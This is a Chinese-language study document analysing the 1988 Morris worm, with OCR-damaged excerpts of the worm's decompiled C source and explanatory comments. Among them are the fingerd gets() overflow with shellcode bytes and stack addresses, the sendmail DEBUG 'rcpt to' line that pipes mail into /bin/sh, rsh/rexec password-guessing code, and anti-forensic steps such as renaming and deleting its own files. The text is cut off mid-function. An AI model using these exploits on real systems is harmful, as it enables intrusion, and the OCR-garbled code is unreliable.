版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
Morris蠕虫总结
i.概览
从整体上来看,morris蠕虫是C/S架构的,它的主要行为可以分为攻击、隐藏和保护三
个部分。攻击部分是蠕虫最主要的部分,其大致由定位目标主机、利用系统漏洞、感染(攻
击)目标主机几个步骤组成;而其中的感染(攻击)环节中利用的方法主要有三种:finger.
sendmaiK破解密码。而且,Morris蠕虫为了隐藏自己,使自己不易被发现和被分析,其主
要运用了三种自我防卫技巧:换名、异或加密(对文件)、核心代码转储(将文件全部加密并
存贮在内存中)。下面对morris蠕虫各主要行为的实现进行详细的分析。
2.Morris的main函数以及mainloop函数
2.1main。函数
main函数是蠕虫程序的开始,它的运行标志着一只新蠕虫的诞生,标志着运行这只蠕虫
的主机将开始对外进行攻击。main函数是由引导程序(bootstrap)引导运行的,它运行在己
被蠕虫攻破(将要对其他机器进行攻击)的主机上。main函数的主要作用是进行系统设置,
以便蠕虫从本机开始下一阶段的攻击。在main函数中主要是进行了一些相关的设置和初始
化工作,而具体的其他功能并没有在其中实现,下面是对main函数的一些分析和理解。
进入main函数,morris做的第一件事就足换名。这样笠得它看起来会和正常的程存一样,
不容易被发现。执行换名的代码如下:
strcpy(argv[0],XS(“sh"));
然后它用time函数初始化随机数,并设置资源限制。这部分代码以及注释如下:
time(&key);
srandom(key);//key是随机数种子,但是好像在main函数中没有用到
rl.rlimcur=0;
rl.rlim_max=0;
if(setrlimit(RLIMITCORE,&rl))?;/*RLIMITCORE:设定最大的core文件,设置资源限制,
在这里if后面没有语句,作者是何用意尚不明确*/
signal(SIGPIPE,S1G_IGN);/*第一个参数代表信号,第二个参数是接收到后的操
作SIG」GN忽咯参数signum指定的信号。*/
pid_arg=0;〃父进程的ID
cur_arg=1;〃作用不明,大致应该是表示当前主函数参数指针
if(argc>2&&strcmp(argv[cur_arg],XS("-p〃))==0)//"-p”是代表父进程ID
{〃如果main函数的参数多于2个,而且第二个字符串是父进程的TD
pid_arg=atoi(argv[2D;〃把字符串转换成长整型数
cur_arg+=2;〃cur_arg值为3,从第3个文件开始读入内存
然后它开始加载文件到内存当中,并做一些中初始化工作,在设置完成后,函数删除磁
盘上的文件,以不留下痕迹。具体代码以及注释如下:
for(i=cur_arg;i<argc;i++)〃在成功读入一个文件后,将其从磁盘删除
if(loadobject(argv[i])==0)〃将文件从磁盘读入内存
exit(1);
if(pid_arg)
unlink(argv[i]);//删除磁盘上文件
)
if((nobjects<1)||(getobjectbyname(XS(*11.c*))—NULL))
/*对object数据结构进行检查*/
exit(l);/*如果引导文件"ll.c”没有读入内存或者没有文件读入,退出程序。引导程序是
下次攻击是必不可少的文件*/
最后main函数进行一些收尾工作,将删除磁盘上剩余的蠕虫文件的拷贝(由引导程序
传送来),以及更改进程号(隐藏自己):
if(pid_arg)
{//删除磁盘文件
for(i=0;i<32;i++)
close(i);〃关闭在加载文件时打开的文件
unlink(argv[0]);〃删除此文件
uniink(XS("sh"));//删除sh文件
unlink(XS(*/tmp/.dumb"));〃删除/imp/,dumb文件
}
for(i=1;i<argc;i++)
for(j=0;argv[ij[j];j++)
argv[i][j]='\J';〃将参数列表清0,隐藏函数初始化的信息
if(if-initO==0)//初始化网卡接口,如果失败,程序退出
exit(1);
if(pid_arg)
{〃更改进程号,以便除蔽的进行进一步工作
if(pid_arg==getp?rp(getpid()))
setpgrp(getpid(),getpidO);
kill(pidarg,9);
}
2.2mainloop。函数
以上是对main函数的一些分析,其中有一些设置将在其他函数中用到。在main函数的
最后,它调用了mainloopO函数,mainloopO函数体现了蠕虫的主要功能框架,是蠕虫的主
要功能实现部分。其主要代码以及注释如下:
time(&key);
srandom(key);
timeO=key;〃用time函数产生一个随机数,下面还用此来记录本程序已经运行的时间
if(hg()==0&&hl()==0)/*开始第一次攻击,支中hg()是对网关进行攻击,hl()是
对主机所在网络进行攻击,如果攻击都没有成功,则用ha:)对远程网络生机进行攻击*/
ha();
chcckothcrO;〃检查一下是否有其他蠕虫已经在本主机上了,如果存在则其中一方退出
/*在此蠕虫还有一个作用不明的函数(在此没有列出),发送一些数据包到Berkeley主站的
11357端口,但是在Berkeley主站并没有发现相应的接受程序,而且这这个程序中存在bug,它
本来设置了tepsocket却尝试去发送udp包,也许这是蠕虫作者为了迷惑我们,使我们以为蠕
虫的服务器在Berkeley。*/
/*下面是蠕虫的循环程序,蠕虫功能的实现部分*/
while(1)〃程序的主体循环
{〃进入循环后的攻击顺序,与第一次尝试攻击的顺序不同
cracksomeO;〃破解密码
other_S]Gep(30);/*休眠30秒,去查看是否本机有其他的蠕虫入侵然后继续破解密
码,如果存在其他的蠕虫,会造成重复攻击,对计算机资源有不必要的消耗*/
cracksome();〃破解密码
if(fork()>0)〃用fork。创建一个新进程,更改进程ID
exit(0);
if(hg()==0&&hi()==0&&ha()==0)
/*按照网关、本主机系统的联系列表、随机远程网关或主机的攻击顺序进行攻击,其
中hi()是根据本机的系统列表进行攻击,如果都失败了,尝试hl()*/
hl();
olher_sleep(120);/*在攻击后,用两分钟的时间去检查是否存在其他蠕虫,因为一个
新感染的主机可能会尝试攻击本机*/
time(&timel);〃获取时间值
if(timel-timeO>=60*60*12)
/*如果蠕虫已经运行超过12小时了,则认为是网络被关闭或主机关机,则蠕虫重新初
始化从头开始运行*/
h_clean();
if(pleasequit&&nextw>0)
/*检查蠕虫是否已经完成了足够的工作,pleasequit变量是蠕虫是否在rolldice幸
存的标忐,nextw非。表示蠕虫已经进行了密码破解工作,即成功的进行了一次攻击*/
exit(0);
)
以上是mainloop函数的主体程序。其大致的攻击顺序是:破解密码今对漏洞进行攻击今
检杳其他蠕虫少检查蠕虫的效果(以及蠕虫是否生存标忐)。正是这段程序使蠕虫可以主动
传播。
3.Morris的主要数据结构
在整个蠕虫程序中,根据不同的需要,主要用到了5个数据结构。
3.1hostlist
hostlist是用来存储计算机(所有可以找到)的名称、状态和地址的。它是一个单链表
结构,蠕虫可以动态的对其进行修改,添加新发现的主机。其中flag标志位用来标识主机
的状态,主机有四种状态:网关(0x01)、系统列表中的主机(0x08)、已被感染(0x02)、
不能感染(0x04)。状态位每12小时清理一次,将低优先权(不能被感染、一般主机)的主
机记录删除,以保证链表的效率。其具体实现如下:
structhst
char*hostnamc;/*主机名称*/
};
3.5words
密码字典,用一个很长的字符串来实现,作用是猜测用户的密码。这个密码字典中许多
单词并不是常用的单词或者常用做密码的单词,而且有不少存在拼写错误或者非英语单词,
因此这个密码字典应该不是作者自己随意编写的,它应该是来源于某个数据库或者以太网监
视器,还有可能是作者通过特洛伊木马程序得到的。(或者黑客自己有一个通过经验得来的
经典密码字典?)它具体的内容请参考代码中cracksom.c中的char*wds[]o
4.系统资源的控制
这部分主要分析一下morris蠕虫对系统资源的使用情况。morris蠕虫会限制在一台主机
上运行的蠕虫数目,这当然不是为了保护操作系统而设计的,作者这样做目的可能有两个:
一个是使得蠕虫在开始阶段不会因为大量的占用系统资源而被发现;另一个是使得蠕虫有足
够的系统资源去进行进一步的攻击,以保持蠕虫的攻击效率。
蠕虫用类似于C/S构架的技术来控制运行在本主机上的蠕虫数目,就是说用C/S架构来
判断本机上是否存在其他蠕虫,即本机上如果存在其他蠕虫,那么那个蠕虫被视为server,
而自己作为client。具体的算法由checkotherO函数实现,其主要代码以及注释如下:
checkother()
/*检查其他蠕虫,如果存在多个蠕虫,其根据•个rolldice的算法改变其中•个蠕虫的状态(退
出、幸存、永生),蠕虫幸存指得是端虫准备作为server(设置好socket)来进行下一次的roll
dice游戏,蠕虫永生指的是蠕虫不再参与rolldice游戏(因为没有设置socket,不会被其他蠕
虫checkother到)*/
(
ints,18,112,116,optval;
structsockaddr_insin;/*Internetsocket地址*/
optval=1;
if((random()%7)==3)
return;/*用一个随机数模7,如果为3则返回,即蠕虫成为永生
蠕虫,不再参加其他蠕虫的checkother。游戏,这个算法会有七分之一的机会使蠕虫成为永生蠕
虫,关于永生蠕虫对系统烫源的影响在后面会详细分析*/
s=socket(AF.INET,SOCK_STREAM,0);
if(s<0)
return;
/*Makeasockettothelocalhost,usingalink-timespecificport*/
bzero(&sin,sizeof(sin));/*设置结构内容*/
sin.sinfamily=AFINET;
sin.sin_addr.s_addr=inet_addr(XS(*127.0.0.1^));/*本机的Internet地址*/
sin.sin_port=0x00005b3d;/*端口设置,蠕虫端口为23357*/
if(connect(s,&sin,sizeof(sin))<0)
〃连接s到本机(&sin),如果失败就是说明本机没有蠕虫存在,关闭s
close(s);
else
{//说明本机上有其他蠕虫在运行
18=M?\GIC_2;/*Magicnumber定义在头文件中*/
if(write(s,&18,sizeof(18))!=sizeof(18))
{/*用写入操作来判断对方是否是蠕虫,如果失败则不是morrisworm,关闭s返回,
本嫡虫独立*/
close(s);
return;
)
18=0;
if(xread(s,&18,sizeof(18),5*60)!=sizeof(18))
{//通过连接得到18,用来验证蠕虫的身份,如果读取失败那么程序退出
close(s);
return;
}
if(18!=M/\GIC_1)
{/*假设对方是蠕虫,xread函数读取相应的信息到18,如果18不是MAGIC」,则对
方不是morrisworm,则关闭s返回,本蠕虫独立*/
close(s);
return;
)
〃以下是rolldice算法
112=random()/8;〃随机生成一个数
if(write(s,&112,sizeof(112))!=sizeof(112))
{〃写至Us的&112开始的内存中,但是不知道有什么作用
close(s);
return;
)
if(xread(s,&116,sizeof(116),10)!=sizeof(116))
{//116的值在此会发生改变,但是声明时没有初始化,可能存在问题
close(s);
return;
)
if(!((112+116)%2))//rolldice,如果随机数计算结果的不为0,那么本蠕虫退出
pleasequit++;
close(s);
)
slccp(5);〃作用不明.大致是等待另一端虫完成工作?
〃以下是对将作为服务器蠕虫进行设置
s=socket(AF」NET,SOCK_STREAM,0);
if(s<0)
return;
/*Setthesocketsothattheaddressmaybereused*/
setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&optval,sizeof(optval));
〃建立一个新的socket,并开放与前一个socket同样的端口
if(bind(s,&sin,sizeof(sin))<0)
(
close(s);
return;
)
listen(s,10);〃等待s,能够处理的最大连接数为10,准备作为server用
other_fd=s;
return;〃返回,根据pleascquit来决定蠕虫是否幸存
}/*另外checkother函数还有一个叫做other_sleep()的辅助函数,来根据9ther_fd的值求进行一
些活动,其具体的分析如下*/
辅助函数other_sleep()的分析:
/*Sleep,waitingforanotherwormtocontactme.*/
others1eep(how_long)
{/*调用select系统函数,来等待来自客户端的连接*/
intnfds,readmask;
longtimel,time2;
structtimevaltimeout;
if(other_fd<0)
(〃如果。thejfd没有被设置(没有需要连接的客户端),就是说本蠕虫是永生蠕
虫
if(howlong!=0)
sleep(how_long);
return;
)
/*再检查一便*/
do
{
if(other_fd<0)
return;〃如果没有返回那么说明本机上还有另外一只蠕虫
readmask=1<<other_fd;
if(howlong<0)
howlong=0;
timeout,tvsec=howlong;
timeout.tv_usec=0;
if(how_long!=0)
;〃如果how_long大于0,就是有时间,记录当前时间
nfds=select(other_fd+l,&readmask,0,0,&timeout);
/*select。用来等待文件描述词状态的改变.参数n代表最大的文件描述词加1,参数
rcadfds.writcfds和cxccptfds称为描述词组.,是用来回传该描述词的读,写或例外的状况。执
行成功则返回文件描述词状态已改变的个数。*/
if(nfds<0)
slccp(l);〃改变文件状态失败
if(readmask!=0)〃读状态改变成功
answerother();
/*answer_cther()建立一个连接,并且交换magicnumber来确定是否为蠕虫,然
后本蠕虫通过socket向被发现的另一只蠕虫写入一个随机数。之后本蠕虫要确定被发现的蠕虫来
自于本机()»并美闭文件描述符。answejother:)函数的分析见下文*/
if(how_lor.g!=0)
{
time(&time2);
how」ong-=time2-timel;//减去这部分运算消耗的时间
)
}while(how_long>0);//若时间耗尽则退出循环
return;
)
辅助函数answejotheM)的代码以及注释如下:
staticanswer_other()/*答复client蠕虫的连接*/
(
intns,addrlen,magic_hoIder,magicl,magic2;
structsockaddr_insin;/*internet地址*/
addrlen=sizeof(sin);
ns=accept(other_fd,&sin,&addrlen);“server蠕虫建立于client蠕虫的连接
if(ns<0)
return;/*连接失败*/
magic_holder=MAGIC_1;〃校验蠕虫身份用
〃以下为校验蠕旦身份的算法
if(write(ns,tagicholder,sizeof(magicholder))!=sizeof(magicholder))
{〃写操作失败
close(ns);
return;
)
if(xread(ns,&magic_holder,sizeof(magichoIder),10)!=sizeof(magichoIder))
(〃检查连接是否正确,以及得到交互的magijholder来验证蠕虫的身份
close(ns);
return;
)
if(magic_hoIder!=MAGIC_2)
(〃对方不是iroiris蠕虫
close(ns);
return;
)
〃对方是mouis蠕虫,则要进行rolldice游戏
magic1=random()/8;
if(write(ns,&magicl,sizeof(magic1))!=sizeof(magicl))
(
close(ns);
return;
}
if(xread(ns,&magic2,sizeof(magic2),10)!=sizeof(magic2))
(
close(ns);
return;
)
close(ns);
if(sin.sin_addr.s_addr!=inet_addr(XS("127.0.0.1")))
return;〃蠕虫不是在本机上的蠕虫,退出
if(((magicl+magic2)%2)!=0)
{〃根据rolldice游戏,本蠕虫将退出
close(otherfd);
other_fd=-1;〃本蠕虫即将退出,不再参与游戏
pleasequit++;〃设置退出条件
)
return:
)
根据以上checkotherf)的分析,可以看到,引起退巴checkother。函数的原因有三种:
第一、pleasequit被置.为1,蠕虫准备退出。第二、蠕虫准备作为server,如果有其他蠕虫到
来它会参与rolldice游戏c第三、永生,不再参与rolldice游戏,会与其他蠕虫同时存在。
虽然morris的作者考虑了系统资源的问题。但是从实际情况来看,效果并不理想,其
仍然会消耗大量的系统资源。经过分析,导致系统资源被大量消耗的原因可能有:一、每个
蠕虫有七分之•的机会成为永生的独立蠕虫,独立蠕虫会使得系统中的蠕虫越来越多,当然
消耗的资源也会越来越多,二、当pleasequit被置为I后,蠕虫还要做很多没有意义的工作
(while循环)才会退出,这也是系统资源的一种浪费。三、根据if(pleasequit&&nextw>0)
的退出条件,即使蠕虫在rolldice失败了,如果它是一只新的蠕虫,它还要必须要进行一次
攻击(密码破解)才会退出,这也是对系统资源的无谓浪费。四、在mainloop中的破解密
码过程中,密码匹配算法效率较低,并且用链表来储存常用的信息检索效率低。五、新蠕虫
没有继承父蠕虫的攻击历史记录,导致了新蠕虫会对父蠕虫或者其他已被感染的主机进行重
夏感染,这也是消耗系统以及网络资源的主要原因之二
5.定位攻击目标
在进行攻击之前,蠕乂首先要定位被攻击的目标位置,并且要确保被攻击的目标是存在
的。morris蠕虫将目标主机分为了网关、系统文件列表中主机、本地网络中主机、远程主机
四种(储存于hostlist中)。而且,从能够获得最佳攻击效果的目的出发,morris蠕虫按照网
关、系统文件列表中主机、本地网络中主机、远程主机的先后顺序进行定位(攻击)目标主
机。另外,蠕虫初始化hostlist中系统列表主机的工作在cracksome。中完成,蠕虫在第一
次调用cracksome。函数时从本机的文件系统得到目标主机以及用户的信息,这些信息将视
为系统列表主机被蠕虫攻击,关于cracksomeO函数的实现将在第8部分详细介绍。如果根
据ATaxonomyofComputerWorms,这部分大致讲述的就是TARGETDISCOVERY的部分。
下面详细描述一下定位(攻击)的过程以及其中用到函数。
5.1gateway
网关是蠕虫的最爱,因为网关上常常记录着一个局域网中所有主机的信息。在攻击时,
网关具有最高的优先权,仅当网关列表中所有的网关都被标记(已感染或不能感染)后,蠕
虫才尝试对其他类型目标主机的攻击。网关列表由函数生成。rt_init()函数通过解析
netstat命令的返回值来判断是否为网关(但是其中有一个rt_init_544_plus()函数没有实现,
因此蠕虫判断网关的具体方法尚不明确,但也许蠕虫是根据Ip地址的主机位来判断是否为
网美的。),如果是网关则在检查是否已经存在与网大列表当中,如果不存在则加入;而后将
网关列表随机打乱,将前20个网关假如hostlist以加快攻击速度。对网关进行攻击的函数
是hg(),其主要代码以及注释如下:
hg()/*对网关进行攻击*/
(
structhst*host;//主机列表
inti;
rt_init0;〃初始化网关列表
for(i=0;i<ngateways;i++)
{/*对网关逐个进行攻击直到有网关被攻破或者所有网关都尝试过,循环结束*/
host=h_addr2host(gateways[i],1);
if(tryrshandmail(host))
return1;〃攻击成功返向1,关于try_rsh_and_mai]将在下文详细介绍
)
return0;〃攻击失败
rt_init()/*初始化网关列表*/
(
FILE*pipe;
charinputbuf[64];
int1204,1304;
ngateways=0;
pipe=popen(XS(Vusr/ucb/netstat-r-n"),XS("r"));〃打开netstat命令
if(pipe==0)
return0;
while(fgets(input_buf,sizeof(input_buf),pipe))
{/*nctstat命令返回不为空,就继续循环*/
othersleep(O);
if(ngateways>=500)
break;
sscanf(input_buf,XS(飞s%s”),1204,1304);
)
pclose(pipe);
rtinitplus544();//未实现
return1;
}
5・2系统文件列表中主机
在网关以后就是系统文件列表中主机,在unix系统中绚〃4文件(后面称作特
权文件)记录了本地主机授权的不经过验证就可以登录本土机的用户名,/.rhosts文件记录
了允许本地主机特权登录的远程主机名称,.由八团以文件记录了本主机向其发送过电子邮件
的主机信息。在扫描时这些主机将先被关注(这些主机是与木机相联,而且最容易攻破的机
器)。对系统文件列表中主机进行攻击的函数是hi。,其具体的实现与注释如下:
hi()
/♦Thisroutinetriedtoinfecthostswhoseentriesinthehostslistweremarked
asequivalent.在这里equivalent指的就是上述UNIX系统中的那三个文件*/
(
structhst*host;
for(host=hosts;host;host=host->next)
if((host-)flag&0x08!=0)&&(tryrshandmail(host)!=0))
return1;//host->flag&0x08!=0表示系统文件列表中主机
return0;
)
5.3本地网络中主机与远程主机
在前两种主机都尝试过以后,如果没有成功,蠕虫将进一步对本地网络中主机和远程主
机进行尝试。hl()函数负责对本地网络的主机进行攻击,它提取本地网络IP地址的网络
地址部分,然后用随机数字取代主机地址部分进行攻击。其具体实现以及注释如下:
hl()/*对本地网络的主机进行攻击*/
(
inti;
for(i=0;i<6;i++)//hostlist中只有6个网络地址位
{/*对每个网络地址进行检查*/
if(me->o4S[i]=0)〃已经没有网络地址
break;
if(hi_84(me->o48[i]&netmaskfor(me->o48[i]))!=0)
return1:/*hi_84()是对通过ip地址的种类对远程主机的攻击函数,将
在后面详细描述*/
)
return0;
)
ha()函数尝试对远程主机进行攻击,其实现以及代码注释如下:
ha()
/*通过telnet对远程主机进行攻击,在攻击时也是首先选择ip的网络地址,然后时随机生
成的网关地址进行攻击*/
(
structhst*host;
inti,j,k;
int1416[100];
int1420;
if(ngateways<1)
rt_init();//初始化网关列表
j=0;
for(i=0;i<ngateways;i++)
{/*对所有的网关尝试进行攻击*/
host=haddr2host(gateways[i],1);
for(k=0;k<6;k++)
{/*每个网关有6个网络地址*/
if(host->o48[k]==0)
continue:
if(try_te1net_p(host->o48[k])==0)
continue:/*用telnet检查可达性,trytelnet_p()函数下文介绍*/
1416[jj=host->o48[k];//1416中存储的是网络地址
j++;
)
}
permute(1416,j,sizeof(1416[0]));
//permute将j个sizeof大小的1416文件内容相反的拷贝到内存中
for(i=0;i<j;i++)
{/*对j个地址随机生成的IP地址进行攻击*/
if(hi_84(1416[i]&netmaskfor(1416[i])))
return1;
)
return0;
)
/*try_telnet_p()是用来检查远程主机的可达性和是否支持telnet协议,在ha()中被调用*/
statictry_telnet_p(u_longaddr)
(
ints,connection;/*28*/
structsockaddr_insin;/*16bytes*/
int(*save_sighand)();
s=socket(AI^INET,SOCK_STREAM,0);
if(s<0)
return0;
bzero(&sin,sizeof(sin));
sin.sin_family=AF_INET;
sin.sin_addr.s_addr=addr;
sin.sin_port=IPPORT_TELNET;/*Thistimetrytelnet...*/
/'*Setupa5secondtimeout,breakfromconnectifitfails*/
save_sighand=signal(SIGALRM,justreturn);
alarm(5);
connection=connec:(s,&sin,sizeof(sin)):
if(connection<0&&errno=ECONNREFUSED)
connection=0;/*Telnetconnectionrefused*/
alarm(0);/*Turnofftimeout*/
close(s);
returnconnection!=~1;
)
以上是对目标主机定位(攻击)的大致过程。虽然蠕虫将主机分为四种类型,但是通常
情况下从系统文件列表中得到的主机已经可以覆盖整个局域网络,因此hl()和ha()并不会被
经常调用。
6.蠕虫利用的系统漏洞
morris蠕虫主要是对Berkeley发布的unix系统进行攻击,在攻击时它利用了unix系统
的一些漏洞,下面对被蠕虫利用的unix系统漏洞进行详细描述:
6.1Rsh服务与rexec服务
rsh和rexec是UNIX系统提供远程命令编译的网络服务。Rexec服务需要密码验证,而
rsh服务则是依靠特权文件(痴心氏丝如,文件)来提供服务的。这两个服务是每个黑客进
行攻击时都会尝试的,因为本地主机在远程主机上可能会有同样的帐户名和密码(因为人们
通常会使用同样的帐户和密码,而不会去记忆许多不同的帐户和密码,尤其是密码),而且
通常情况下远程主机会把本机帐户保存在rsh服务的特权文件中。这个漏洞并不是一个系统
BUG,它主要是为了使用户方便,但是在方便用户的同时也给入侵者提供了便利.
首先,蠕虫读取•小八mr”文件和.,力。加•文件(记录了那些需要经过密码身份验证的用户
名),然后对这些主机进行攻击。在攻击时,蠕虫首先连接远程主机的rexec服务,然后发
送从.自nM加文件和.劭3心文件得到用户名并附加上words结构的密码(猜测密码),如果
密码猜测成功,则进入远程主机。否则,蠕虫用本地帐户登录本机的rexec服务,然后用本
机去尝试远程主机的rsh服务,如果在远程主机的加4心炽”,小文件或者.,力。.心文件中的
确存在本机的帐户,那么远程主机将允许建立连接,可以进入远程主机。
fork」sh()函数实现了这部分的攻击,其具体实现如下:
staticfork_rsh(char*host,int*fdpl,int*fdp2,char*str)
/*通过rexec服务和rsc服务对远程主机进行攻击,首先建立两个管道*/
intchild;/*子进程*/
intfildes⑵;/*管道1*/
intfiIdesl[2];/*管道2*/
intfd;
/*用pipe。建立两个管道,pipe。会建立管道,并将文件描述词由参数Modes数组返回。
filedes[O]为管道里的读取端,filedes⑴则为管道的写入端。*/
if(pipe(fildes)<0)
return0;//管道1建立失败
if(pipe(fiIdesl)<0)
(〃管道2建立失败,关闭管道1并返回0
close(fildGs[0]);
close(fildes[l]);
return0;
)
child=fork();〃创建子进程,子进程将尝试逃过rexec服务攻击远程主机
if(child<0)
{/*子进程创建失败*/
close(fildes[Oj);
close(fildcs[ll);
close(fildesl[0]);
closc(fildcsl[l]);
return0;
)
if(child==0)
{/*子进程创建成功,且现在运行的是子进程*/
for(fd=C;fd<32;fd++)
if(fd!=fildestOj&&fd!=fildesltl]&&fd!=2)
closc(fd);〃关闭非管道1的文件描述符
dup2(fildeS[0].0);/*dup2()用来复制参数oldfd所指的文件描述词,并将它拷贝
至参数newfd后一块返回。*/
dup2(fildes[l],1);
if(fildestO]>2)
close(fildes[0]);
if(fildesltl]>2)
close(fildcsl[1]);
/*'execl()'doesnotreturnifitsuceeds.execl()用来执行参数path字符
串所代表的文件路径下的文件,以/usr/ucb/rsh,/usr/bin/rsh,and/bin/rsh.的顺序通过rsh服
务对远程主机尝试进行攻击*/
execl(XS("/usr/ucb/rsh"),XS("rsh"),host,str,0);
execl(XS(^/usr/bin/rsh^),XS(*rsh/,),host,str,0);
execl(XS("/bin/rsh"),XS("rsh"),host,str,0);
exit(1);
)
close(fildes[0]);
close(fildesl[1]);
*fdpl=fildesl[0];
*fdp2=fildes[l];
if(testconnection(*fdpl,*fdp2,30))
return1;/*蠕虫攻击成功,建立了两个管道*/
close(*fdpl);
close(*fdp2);
kilKchild,9);〃结束子进程,攻击失败
/*Givethechildachancetodiefromthesignal.*/
sleep(l);
wait3(0,WNOIbXNG,0);//作用不明
return0;
}
6.2finger(缓冲区溢出漏洞)
Finger是一个daemon程序,根据finger协议为远程请求服务。它是用来得到系统上用
户详细信息的程序,它通过读取源主机的请求作为参数,经过运算返回用户的全名、他们的
办公室的地址、电话号码以及是否在线等信息、。但是在Finger程序中使用了c的gels()函数,
而gets。函数没有检查输入的边界,如果输入超过了512byte的话则会产生缓冲区溢出。
Morris蠕虫正是利用了这一漏洞,它提供给Finger一个536byte的请求,溢出的24byte用来
执行蠕虫的引导程序。
try_finger()函数实现了对该漏洞的攻击,其具体代码以及注释如下:
statictry_finger(structhst*host,int*fdl,int*fd2)
/*尝试与远程主机的finger守护进程(79号端口)建立连接,如果成功那么则建立••个s*/
(
inti,j,112,116,s;
structsockaddr_insin:/*internet地址*/
charunused[492];
int1552,1556,1560,1564,1568;〃溢出处理用
charbuf[536];/*溢出字符串*/
int(*save_sighand)();/*定义一个函数指针,记录signal函数*/
save_sighand=signal(STG/\LRM,justreturn);//justreturn定义于hs.c中
for(i=0;i<6;i++)
{/**/
if(host->c48[i]==0)
continue;/*没有网络地址*/
s=socket(AF_INET,SOCK_STREAM,0);
if(s<0)
continue;
bzero(&sin,sizeof(sin));
sin.sin_fair.ily=AF_INET;
sin.sinaddr.saddr=host->o48[i];
sin.sin_port=IPPORT_FINGER;
alarm(lO);/*alarm。用来设置信号SIGALRM在经过参数seconds指定的秒数后传
送给目前的进程。*/
if(connect(s,&sin,sizeof(sin))<0)
(
alarm(0);
close(s);
continue;
)
alarm(0);
break;〃连接成功,跳出循环,i<6
)
if(i>=6)
return0;/*没有成功建立连接*/
for(i=0;i<536;i++)/*清。溢廿数据*/
buf[i]='\0';
for(i=0;i<400;i++)
buf[i]=1;
for(j=0;j<28;j++)
buf[i+j]="\335\217/sh\0\335\217/bin\320cz\335\0\335\0\335Z\335\003\320
*\\\274;\344\371\344\342\241\256\343\350\357\256\362\35r[j];
/*设置溢出数据*/
//这里也许是蠕虫体现出来的TCP扫描特征,但具体package特征还无法统计
1556=0x7fffe9fc;/*Rewritepartofthestackframe*/
1560=0x7fffe8a8;
1564=0x7fffe8bc;
1568=0x28000000;
1552=OxOOOlc020;
fdefsun
1556=byte_swap(1556);/*Reverseth?wordorderforthe*/
1560=byteswap(1560);/*VAX(onlySunshavetodothis)*/
1564=byte_swap(1564);
1568=byte_swap(1568);
1552=byte_swap(1552);
ttendifsun
write(s,buf,sizeof(buf));/*利用gets。漏洞,sizeof=536*/
writc(s,XS("\n"),1);
sleep(5);
if(test_connection(s,s,10))
{//lesjcornection函数测试蠕虫是否连接成功
*fdl=s;
*fd2-s;
return1;
)
close(s);
return0;〃连接失败
}
这个漏洞实际上是由ge【s()函数引起的,而c中除了gets。以外还有一些其他的库函数也
存在问题,因此在编写程序时要注意这些函数的使用,以免为入侵者提供机会。
6.3sendmail
在morris蠕虫中,sendmail攻击是最不经常使用(因为总是最后使用此方式)的攻击方
式,但是这个攻击方式常常可以成功的进行攻击。
sendmail是系统的一个daemon程序,它监听25号端口,通过SMTP协议为用户提供
TCP连接的电子邮件服务。它有•个特点就是可以直接将邮件发送给系统进程(不保存在
文件中),这个特点可以被蠕虫利用。如果sendmail程序是在DEBUG条件下编译的,那么
邮件发送方可以通过发送DEBUG命令使得sendmail程序进入DEBUG模式,而在DEBUG
模式下程序允许发送方运行一系列的命令。蠕虫模仿一个远程SMTP连接,并插入〃0力?〃〃
作为发送者的名字,而且精心设计一串字符作为接受者。当收到邮件后,接收者自动启动一
个命令将邮件信息的开头删除并将余卜的部分(包括了蠕虫的引导程序)发送至编译器,编
译并运行。蠕虫的引导程序完成蠕虫攻击。
try_mail()实现了这部分的攻击其具体实现与注释如下:
statictry_mail(structhst*host)/*x4d3c<permute+162>*/
inti,18,112,116,s;
structsockaddrinsin;/*internet地址*/
char1548[512];
int(*old_handler)():
structsockaddrsaddr;/*Notright*/
intfd_tmp;/*???partofsaddr*/
if(makemagic(host,&saddr)==0)
return0;/*makemagic()函数的描述见后面,其中有目标主机的大量的扫描*/
old_handler=signal(SIGALRM,justreturn);
for(i=0;i<6;i++)
{/*检杳是否已经存在连接*/
if(host->c48[i]==NULL)
continue;
s=socket(AF.INET,SOCK_STREAM,0);
if(s<0)
continue;
bzero(&sin,sizeof(sin));/**/
sin.sin_fajriily=AF_INET;
sin.sinaddr.saddr=host->o48[i];
sin.sin_port=IPPORT_SMTP;
alarm(lO);
if(connect(s,&sin,sizcof(sin))<0)
(
alarm(0);
close(s);
continue;
)
alarm(0);
break;
)
if(i<6)
return0;/*如果已经存在连接那么就没有必要进行sendmail攻击了*/
if(x50bc(s,1548)!=0||1548[0]!='2')
gotobad;//x50bc函数没有实现,可以推测其大概功能是将一段数据写入内存
send_text(s,XS("debug"));/*设置成"debug”模式*/
if(x50bc(s,1548)!=0||1548[0]!='2')
gotobad;
★defineMAILFROM"mailfrom:</dev/null>\n,z
#defineMAIL_RCPT*rcptto:<\*|sed\'l,/$/d\'|/bin/sh;exit0\">\n"
send_text(s,XS(MAIL_FROM));〃发送设计好的字符串
if(x50bc(s,1548)!=0||1548[0]!=’2')
gotobad;
i=(random()&OxOOFFFFFF);
sprintf(1548,XS(MAIL_RCPT),i,i);
sendtext(s,1548);
if(x50bc(s,1548)!=0||1548[0]!='2')
gotobad;
send_text(s,XS("data'n"));
if(x50bc(s,1548)==0||1548[0]!='3')
gotobad;
send_text(s,XS("data'n"));
compile_slave(host,s,saddr);
sendtext(s,XS("\n.\n"));
if(x50bc(s,1548)==0||1548[0]!='2')
(
close(fdtn.p);/*Thisisn'tsetyet!!!*/
gotobad;
)
send_text(s,XS("quit'n")):
if(x50bc(s,1548)==0||1548[0]!='2')
{
close(fdtn.p):/*Thisisn'tsetyet!!!*/
gotobad;
)
close(s);
returnwaithit(host,saddr);〃waiihit函数用来检查攻击是否成功,分析见下文
bad:〃攻击失败的一些处理:关闭s,退出远程主机程序等
sendtext(s,XS("quit'n"));
x50bc(s,1548);
closo(s);
return0;
)
/*Usedonlyintrymai10above.Thisfillsbufferwithalineoftheresponse,x50bc
函数的具体代码没有实现,但可以推测这个函数是用来判断攻击效果的*/
staticx50bc(ints,char*buffer)
(
/*Fillinexactcodelater.It'sprettyboring.*/
}
makemagic(structhst*arg8,int*argl2,int*argl6,int*arg20,int*arg24)
/*牛.成challengenumber:就是与远程主机建立一个随机端口socket连接,使得蠕虫不易被发
现,这个函数中体现出了一些扫描特征*/
(
ints,i,namelen;
structsockaddrinsinO,sinl;
*arg20=random()&OxOOffffff;〃生成一个随机数
bzero(&sinl,sizeof(sinl));
sinl.sinaddr.saddr=me>112;
